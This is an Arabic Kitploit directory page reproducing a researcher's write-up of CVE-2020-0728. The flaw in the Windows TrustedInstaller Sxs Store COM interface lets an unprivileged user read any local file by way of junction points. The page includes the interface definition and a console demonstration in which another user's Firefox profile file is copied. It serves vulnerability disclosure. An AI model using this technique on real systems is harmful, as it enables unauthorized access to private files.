Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-0728 — رمز إثبات المفهوم لـ CVE-2020-0728 | Kitploit
أدوات/GitHubGitHub/irsl/cve-2020-0728
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاستغلال الملفات الثنائية
GitHubirsl/cve-2020-0728

CVE-2020-0728

رمز إثبات المفهوم لـ CVE-2020-0728

عرض المستودع
4612منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-0728

التفاصيل

خدمة TrustedInstaller.exe تعمل كـ NT_AUTHORITY\SYSTEM وتستضيف خدمة COM الخاصة بـ Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) إلى جانب الواجهة ISxsStore. صلاحيات الوصول (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) لهذه الخدمة تمنح الوصول لأي مستخدم على النظام المحلي. تكشف الواجهة ISxsStore عن 4 طرق:

root@kitploit:~
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
    HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
    HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
    HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
    HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}

عند الاستدعاء، يستدعي التنفيذ واجهة ICbsWorker التي تستضيفها TiWorker.exe (مرة أخرى، تعمل كـ NT_AUTHORITY\SYSTEM) للحصول على جلسة ICbsSession8 ثم يستدعي عمليًا نفس الطرق على هذه الواجهة. المنطق الحقيقي يُنفذ في مكتبة sxsstore.dll؛ يمكن العثور على الترخيص في CSxsStore::BeginAssemblyInstall:

root@kitploit:~
uVar1 = SxspEnsureComClientIsAdmin((void **)this);

يتم ذلك باستخدام استدعاءات CoImpersonateClient+CheckTokenMembership.

المشكلة هي أنه إذا تم استدعاء الجلسة التي تستضيفها عملية TiWorker.exe عبر غلاف TrustedInstaller.exe، فإن منطق الترخيص المنفذ يصادف دائمًا اتصالات من NT_AUTHORITY\SYSTEM وبالتالي يمنح الوصول لأي شخص.

يتم وضع التجميعات المطلوب تثبيتها تحت C:\Windows\WinSXS بواسطة التنفيذ الموجود في wcp.dll (Windows::COM::CComponentStore::InternalTransact) ويبدو أنها تحتوي على إجراءات أمنية كافية لحماية استدعاءات هذه الطرق من الهروب من هذا الدليل الهدف المشروع، ولكن ملفات المصدر المشار إليها في المانيفست يمكن إساءة استخدامها عبر نقاط الاقتران (junction points).

يمكن استغلال ذلك لتجاوز DAC لنظام الملفات وقراءة أي ملفات على نظام الملفات المحلي كما هو موضح أدناه:

root@kitploit:~
	Microsoft Windows [Version 10.0.18362.592]
	(c) 2019 Microsoft Corporation. All rights reserved.

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
	desktop-43rnlku\unprivileged

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
	Access is denied.


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
	sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
	Creating helper junction sxscopy.junction -> C:\
	Junction created for sxscopy.junction <<===>> C:\
	Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
	Exploitation has succeeded, copy of the source file was placed inside WinSXS
	Copy has succeeded!

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
	[Install308046B0AF4A39CB]
	Default=Profiles/5bqqo33l.default
	Locked=1

	[Profile2]
	Name=johndoe
	IsRelative=1
	Path=Profiles/5bqqo33l.default
	Default=1

	[Profile1]
	Name=default
	IsRelative=1
	Path=Profiles/x89vbmzf.default

	[Profile0]
	Name=default-release
	IsRelative=1
	Path=Profiles/1kmhc44f.default-release

	[General]
	StartWithLastProfile=1
	Version=2

إطار عمل wcp معقد جدًا ويحتوي على العديد من 'المثبتات' (مثل تنفيذ GenericCommand من بين المثبتات 'المتقدمة')، لكن يبدو أن الواجهة القابلة للوصول أعلاه محدودة فقط بالمثبتات 'البدائية'. تمكنت من تشغيل CRegistryInstaller::CommitChanges الذي أرسل سجلًا إلى C:\Windows\Logs\CBS\CBS.log، سطور مثل:

root@kitploit:~
2020-01-18 15:58:16, Info                  CSI    0000000c Registry installer wrote xxx values

ولكنه في الواقع لم يستدعِ أبدًا أي طرق API لتغيير أي شيء في السجل.

الإسناد

التقرير أعلاه مع كود PoC تم تقديمه بواسطة Imre Rad ولكن تم التعرف عليه أيضًا من قبل باحثين من NCC (في الواقع قبل بضعة أشهر).

الروابط

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728

تنزيل الأداة